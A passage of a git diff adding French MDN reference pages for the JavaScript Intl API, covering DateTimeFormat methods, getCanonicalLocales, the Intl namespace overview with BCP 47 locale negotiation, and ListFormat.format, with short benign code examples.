+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype', 'Intl.DateTimeFormat.prototype')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/resolvedoptions/index.html
new file mode 100644
index 0000000000..b91083bb16
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/resolvedoptions/index.html
@@ -0,0 +1,105 @@
+---
+title: Intl.DateTimeFormat.prototype.resolvedOptions()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/resolvedOptions
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/resolvedOptions
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Intl.DateTimeFormat.prototype.resolvedOptions()</strong></code> renvoie un nouvel objet dont les propriétés reflètent les options de format et de locale pour les heures et dates, calculées pendant l'initialisation de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-resolvedoptions.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateTimeFormat</var>.resolvedOptions()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet dont les propriétés reflètent les options de format et de locale pour les heures et dates, calculées pendant l'initialisation de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur renvoyée par cette méthode contient les propriétés suivantes :</p>
+
+<dl>
+ <dt><code>locale</code></dt>
+ <dd>La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans <code>locale</code>.</dd>
+ <dt><code>calendar</code></dt>
+ <dd>Le calendrier utilisé (ex. <code>"gregory"</code> pour le calendrier grégorien).</dd>
+ <dt><code>numberingSystem</code></dt>
+ <dd>Les valeurs demandées pour les extensions Unicode <code>"ca"</code> et <code>"nu"</code> ou leurs valeurs par défaut.</dd>
+ <dt><code>timeZone</code></dt>
+ <dd>La valeur fournie par l'argument <code>options</code> pour cette propriété ou {{jsxref("undefined")}} (qui représente le fuseau horaire de l'environnement) si aucune valeur n'a été fournie. Les applications ne doivent pas s'appuyer sur ce dernier cas. En effet, de futures versions pourraient renvoyer une chaîne de caractères représentant le fuseau horaire de l'environnement et non pas <code>undefined</code>.</dd>
+ <dt><code>hour12</code></dt>
+ <dd>La valeur fournie pour cette propriété dans l'argument <code>options</code>.</dd>
+ <dt><code>weekday</code></dt>
+ <dt><code>era</code></dt>
+ <dt><code>year</code></dt>
+ <dt><code>month</code></dt>
+ <dt><code>day</code></dt>
+ <dt><code>hour</code></dt>
+ <dt><code>minute</code></dt>
+ <dt><code>second</code></dt>
+ <dt><code>timeZoneName</code></dt>
+ <dd>Les valeurs qui correspondent entre les propriétés de l'argument <code>options</code> et les combinaisons disponibles dans l'environnement pour les formats de date et d'heure pour la locale. Certaines de ces propriétés peuvent ne pas être présentes, cela indique que les composants indiqués ne seront pas représentés.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var germanFakeRegion = new Intl.DateTimeFormat("de-XX", { timeZone: "UTC" });
+var usedOptions = germanFakeRegion.resolvedOptions();
+
+usedOptions.locale;          // "de"
+usedOptions.calendar;        // "gregory"
+usedOptions.numberingSystem; // "latn"
+usedOptions.timeZone;        // "UTC"
+usedOptions.month;           // "numeric"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.3.3', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-Intl.DateTimeFormat.prototype.resolvedOptions', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.resolvedOptions', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat.resolvedOptions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/supportedlocalesof/index.html
new file mode 100644
index 0000000000..079c20ae21
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/supportedlocalesof/index.html
@@ -0,0 +1,98 @@
+---
+title: Intl.DateTimeFormat.supportedLocalesOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/supportedLocalesOf
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/supportedLocalesOf
+---
+<div>{{JSRef}}</div>
+
+<p>À partir d'une locale ou d'un tableau de locales <code><strong>Intl.DateTimeFormat.supportedLocalesOf()</strong></code> renvoie un tableau qui contient les locales supportées pour le formatage des dates et des heures qui ne nécessitent pas d'avoir recours à la locale par défaut de l'environnement.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-supportedlocalesof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Intl.DateTimeFormat.supportedLocalesOf(<var>locales</var>[, <var>options</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Un chaîne de caractères au format d'une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations sur le format de l'argument <code>locales</code>, voir la page {{jsxref("Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.</dd>
+ <dt><code>options</code></dt>
+ <dd>
+ <p>Paramètre optionnel, un objet pouvant avoir la propriété suivante :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance entre locales à utiliser. Les valeurs possibles sont "lookup" et "best fit". Pour plus d'informations sur ce sujet, voir la page {{jsxref("Intl", "Intl", "#Choix_de_la_locale")}}.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langue qui sont prises en charge pour la mise en forme de l'heure et de la date sans qu'il soit nécessaire d'utiliser la locale par défaut de l'environnement d'exécution.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Renvoie un tableau qui est un sous-ensemble de <code>locales</code>. Les balises de langues renvoyées sont celles supportées par l'environnement pour le formatage des heures et des dates. Ces balises sont déterminées en fonction de l'algorithme de correspondances de locale et des locales utilisées. Le tableau résultant fournit les locales qui permettent de ne pas avoir à utiliser la locale par défaut.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_supportedLocalesOf">Utiliser <code>supportedLocalesOf</code></h3>
+
+<p>Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des dates et des heures,  <code>supportedLocalesOf</code> renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les dates ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme <code>"lookup"</code>. Si on utilisait <code>"best fit"</code>, on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise.</p>
+
+<pre class="brush: js">var locales = ["ban", "id-u-co-pinyin", "de-ID"];
+var options = {localeMatcher: "lookup"};
+console.log(Intl.DateTimeFormat.supportedLocalesOf(locales, options).join(", "));
+// → "id-u-co-pinyin, de-ID"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.supportedLocalesOf', 'Intl.DateTimeFormat.supportedLocalesOf')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.DateTimeFormat.supportedLocalesOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/getcanonicallocales/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/getcanonicallocales/index.html
new file mode 100644
index 0000000000..e0fc40a55d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/getcanonicallocales/index.html
@@ -0,0 +1,73 @@
+---
+title: Intl.getCanonicalLocales()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/getCanonicalLocales
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/getCanonicalLocales
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Intl.getCanonicalLocales()</code></strong> renvoie un tableau contenant les noms canoniques des locales. Les doublons seront fusionnés et les éléments passés en arguments doivent être des étiquettes de langues valides.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-getcanonicallocales.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Intl.getCanonicalLocales(locales)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Une liste de chaînes ({{jsxref("String")}}) dont on veut obtenir les noms canoniques pour les locales correspondantes.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau qui contient les noms canoniques des locales.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Intl.getCanonicalLocales("EN-US"); // ["en-US"]
+Intl.getCanonicalLocales(["EN-US", "Fr"]); // ["en-US", "fr"]
+
+Intl.getCanonicalLocales("EN_US");
+// RangeError:'EN_US' is not a structurally valid language tag
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-intl.getcanonicallocales', 'Intl.getCanonicalLocales')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.getCanonicalLocales")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}</li>
+ <li>{{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}</li>
+ <li>{{jsxref("Collator.supportedLocalesOf", "Intl.Collator.supportedLocalesOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/index.html
new file mode 100644
index 0000000000..26062d308d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/index.html
@@ -0,0 +1,163 @@
+---
+title: Intl
+slug: Web/JavaScript/Reference/Objets_globaux/Intl
+tags:
+  - Espace de noms
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl
+---
+<div>{{JSRef}}</div>
+
+<p class="summary">L'objet <strong><code>Intl</code></strong> est l'espace de noms pour l'API d'Internationalisation d'ECMAScript. Elle fournit des outils de comparaison de chaînes de caractères, de formatage des nombres, de dates et de l'heure selon les langues. <code>Intl</code> donne accès à plusieurs constructeurs et fonctionnalités communs aux constructeurs destinés à l'internationalion et à d'autres fonctions dépendantes des langues.</p>
+
+<h2 id="Propriétés_constructrices">Propriétés constructrices</h2>
+
+<dl>
+ <dt>{{jsxref("Objets_globaux/Collator", "Intl.Collator")}}</dt>
+ <dd>Le constructeur pour les ordonnanceurs (<em>collators</em> en anglais) et les objets qui permettent la comparaison de chaînes de caractères selon les règles spécifiques d'une langue.</dd>
+ <dt>{{jsxref("Objets_globaux/DateTimeFormat", "Intl.DateTimeFormat")}}</dt>
+ <dd>Le constructeur pour les objets qui permettent le formatage des dates et de l'heure selon les règles spécifiques d'une langue.</dd>
+ <dt>{{jsxref("Global_Objects/Intl/DisplayNames/DisplayNames", "Intl.DisplayNames()")}}</dt>
+ <dd>Le constructeur pour les objets qui permettent de fournir des traductions constantes de noms de langues, régions et systèmes d'écriture.</dd>
+ <dt>{{jsxref("Objets_globaux/ListFormat", "Intl.ListFormat")}}</dt>
+ <dd>Le constructeur pour les objets qui permettent le formatage des listes selon les règles spécifiques d'une langue.</dd>
+ <dt>{{jsxref("Global_Objects/Intl/Locale/Locale", "Intl.Locale()")}}</dt>
+ <dd>Le constructeur pour les objets qui représentent un identifiant de langue Unicode.</dd>
+ <dt>{{jsxref("Objets_globaux/NumberFormat", "Intl.NumberFormat")}}</dt>
+ <dd>Le constructeur pour les objets qui permettent le formatage des nombres selon les règles spécifiques d'une langue.</dd>
+ <dt>{{jsxref("Objets_globaux/PluralRules","Intl.PluralRules")}}</dt>
+ <dd>Le constructeur pour les objets qui permettent le formatage prenant en compte le pluriel et les règles de pluriel spécifiques d'une langue.</dd>
+ <dt>{{jsxref("Objets_globaux/RelativeTimeFormat","Intl.RelativeTimeFormat")}}</dt>
+ <dd>Le constructeur pour les objets qui permettent le formatage d'intervalles de temps spécifiques d'une langue.</dd>
+</dl>
+
+<h2 id="Méthodes_statiques">Méthodes statiques</h2>
+
+<dl>
+ <dt>{{jsxref("Intl.getCanonicalLocales()")}}</dt>
+ <dd>Méthode renvoyant les noms canoniques des locales.</dd>
+</dl>
+
+<h2 id="Identification_et_choix_de_la_locale">Identification et choix de la locale</h2>
+
+<p>Les constructeurs d'internationalisation, ainsi que plusieurs autres méthodes spécifiques à une langue dans d'autres constructeurs (voir ci-dessous {{anch("See_also", "Voir aussi")}}), utilisent un schéma commun pour identifier les locales et déterminer celle qu'ils utiliseront effectivement : ils acceptent tous les arguments <code>locales</code> et <code>options</code>, et ils négocient les locales demandées face aux locales qu'ils supportent, en utilisant un algorithme spécifié dans la propriété <code>options.localeMatcher</code>.</p>
+
+<h3 id="Argument_locales">Argument <code>locales</code></h3>
+
+<p>L'argument <code>locales</code> peut être soit une chaîne de caractères comportant une <a href="http://tools.ietf.org/html/rfc5646">balise de langue BCP 47</a>, soit un tableau de telles balises. Si l'argument n'est pas fourni ou est indéfini, la locale par défaut de l'environnement d'exécution est utilisée.</p>
+
+<p>Une balise de langue BCP 47 définit un langage et contient au minimum un code de langue principale. Dans sa forme la plus fréquente, elle peut contenir, dans l'ordre : un code de langue, un code de script et un code de pays ou de région, tous séparés par des tirets. Bien que la balise ne soit sensible à la casse, il est recommandé d'utiliser des initiales majuscules pour le code de script, des majuscules pour les codes de pays et de région, et des minuscules pour tout le reste.</p>
+
+<p>Exemples :</p>
+
+<ul>
+ <li><code>"hi"</code> : Hindi (langue principale).</li>
+ <li><code>"de-AT"</code> : Allemand tel qu'utilisé en Autriche (langue principale avec un code pays).</li>
+ <li><code>"zh-Hans-CN"</code> : Le chinois écrit en caractères simplifiés tel qu'utilisé en Chine (langue principale avec des codes de script et de pays).</li>
+</ul>
+
+<p>Les sous balises identifiant les langues, les scripts, les pays (régions) et les variantes (rarement utilisées) dans les balises de langue BCP 47 peuvent être trouvées dans le <a href="http://www.iana.org/assignments/language-subtag-registry">registre IANA des Sous balises de Langues</a></p>
+
+<p>La BCP 47 permet également des extensions. Les fonctions d'internalisation de JavaScript utilisent l'extension "u" (Unicode), qui peut utilisée pour demander une personnalisation supplémentaire des objets {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, ou {{jsxref("DateTimeFormat")}}. Exemples :</p>
+
+<ul>
+ <li><code>"de-DE-u-co-phonebk"</code> : utiliser la variante annuaire de l'ordre de tri allemand, qui décompose les voyelles infléchies (à umlaut) en paires de caractères : ä → ae, ö → oe, ü → ue.</li>
+ <li><code>"th-TH-u-nu-thai"</code> : utiliser les chiffres thaïs (๐, ๑, ๒, ๓, ๔, ๕, ๖, ๗, ๘, ๙) dans le formatage des nombres.</li>
+ <li><code>"ja-JP-u-ca-japanese"</code> : utiliser le calendrier japonais dans le formatage des dates et des heures, de sorte que 2013 soit exprimé comme l'an 25 de l'ère Heisei, ou 平成25.</li>
+ <li><code>"en-GB-u-ca-islamic"</code> : utiliser l'anglais britannique avec le calendrier islamique (Hijri), où la date grégorienne 14 octobre 2017 est la date de l'ère de l'Hégire 24 Muharram,1439.</li>
+</ul>
+
+<h3 id="Négociation_de_la_locale">Négociation de la locale</h3>
+
+<p>L'argument <code>locales</code>, après retrait de toutes les extensions Unicode, est interprété comme une requête classée par priorité émanant de l'application. L'environnement d'exécution le compare aux locales dont il dispose et choisit la meilleure disponible. Il existe deux algorithmes d'association : l'apparieur "lookup" suit l'algorithme Lookup spécifié dans <a href="http://tools.ietf.org/html/rfc4647#section-3.4">BCP 47</a>; l'apparieur "meilleure correspondance" laisse l'environnement d'exécution fournir une locale qui est au moins aussi, mais possiblement mieux, adaptée à la demande que le résultat de l'algorithme Lookup. Si l'application ne fournit pas d'argument <code>locales</code> ou que l'environnement d'exécution ne dispose pas d'une locale qui corresponde à la requête, alors la locale par défaut de l'environnement d'exécution est utilisée. L'apparieur peut être choisi en utilisant une propriété de l'argument <code>options</code> (voir ci-dessous).</p>
+
+<p>Si la balise de la langue choisie comporte une sous chaîne d'extension Unicode, cette extension est maintenant utilisée pour personnaliser l'objet construit ou le comportement de la fonction. Chaque constructeur ou fonction ne supporte qu'un sous-ensemble des clés définies pour le extension Unicode, et les valeurs supportées dépendent souvent de la balise de langue. Par exemple, la clé "co" (collation) n'est supportée que par le constructeur {{jsxref("Collator")}}, et sa valeur "phonebk" n'est supportée que pour l'allemand.</p>
+
+<h3 id="Argument_options">Argument <code>options</code></h3>
+
+<p>L'argument <code>options</code> doit être un objet ayant des propriétés qui varient suivant qu'il s'agit des constructeurs ou des fonctions. Si l'argument <code>options</code> n'est pas fourni ou est indéfini, des valeurs par défaut seront utilisées pour toutes les propriétés.</p>
+
+<p>Une propriété est supportée par tous les constructeurs et toutes les fonctions fondés sur les locales : la propriété <code>localeMatcher</code>, dont la valeur doit être la chaîne <code>"lookup"</code> ou <code>"best fit"</code>, et qui sélectionne l'un des algorithmes d'appariement décrits ci-dessus.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Formater_des_dates_et_nombres">Formater des dates et nombres</h3>
+
+<p>Vous pouvez utiliser Intl pour formater des dates et nombres dans un format qui est conventionnel pour une langue et une région spécifiques :</p>
+
+<pre class="brush: js notranslate">const compte = 26254.39;
+const date = new Date("2012-05-24");
+
+function afficher (langue) {
+  console.log(
+    `${new Intl.DateTimeFormat(langue).format(date)} ${new Intl.NumberFormat(langue).format(compte)}`
+  );
+}
+
+afficher("en-US");
+// résultat attendu : 5/24/2012 26,254.39
+
+afficher("de-DE");
+// résultat attendu : 24.5.2012 26.254,39</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-8', 'Intl')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-8', 'Intl')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#intl-object', 'Intl')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Ajout de <code>Intl.getCanonicalLocales</code> dans la 4e édition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à vous renseigner sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une pull request.</div>
+
+<p>{{Compat("javascript.builtins.Intl")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Introduction : <a href="http://norbertlindenberg.com/2012/12/ecmascript-internationalization-api/index.html">'The ECMAScript Internationalisation API</a></li>
+ <li>Constructeurs
+  <ul>
+   <li>{{jsxref("Collator", "Intl.Collator")}}</li>
+   <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+   <li>{{jsxref("ListFormat", "Intl.ListFormat")}}</li>
+   <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+   <li>{{jsxref("PluralRules", "Intl.PluralRules")}}</li>
+   <li>{{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+   <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+  </ul>
+ </li>
+ <li>Méthodes
+  <ul>
+   <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+   <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/format/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/format/index.html
new file mode 100644
index 0000000000..330767cb8c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/format/index.html
@@ -0,0 +1,68 @@
+---
+title: Intl​.ListFormat.prototype​.format()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/format
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - ListFormat
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/format
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>format()</code></strong> renvoie une chaîne de caractères représentant la liste passée en argument, mise en forme selon la langue choisie (lors de la construction de l'objet <code>Intl.ListFormat</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-listformat.html")}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <strong><code>format()</code></strong> renvoie une chaîne de caractères qui a été formatée en fonction des paramètres fournis à l'objet <code>Intl.ListFormat</code>. Les paramètres <code>locales</code> et <code>options</code> permettent de personnaliser le comportement de <code>format()</code> et de gérer différentes conventions linguistiques au sein d'une application, notamment pour la mise en forme des listes.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>listFormat</em>.format([<em>list</em>]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><strong><code>list</code></strong></dt>
+ <dd>Un objet itérable (ex. un tableau / {{jsxref("Array")}}).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant les éléments de la liste et mise en forme en fonction de la langue souhaitée (grâce au paramètre <code>locales</code> passé au constructeur <code>Intl.ListFormat</code>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-list-format/#sec-Intl.ListFormat.prototype.format">Proposition pour <code>Intl.ListFormat.prototype.format</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.ListFormat.format")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ListFormat", "Intl.ListFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/formattoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/formattoparts/index.html
new file mode 100644
index 0000000000..fb3abe8afd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/formattoparts/index.html
@@ -0,0 +1,90 @@
+---
+title: Intl​.List​Format​.prototype​.formatToParts()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/formatToParts
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - ListFormat
+  - Méthode
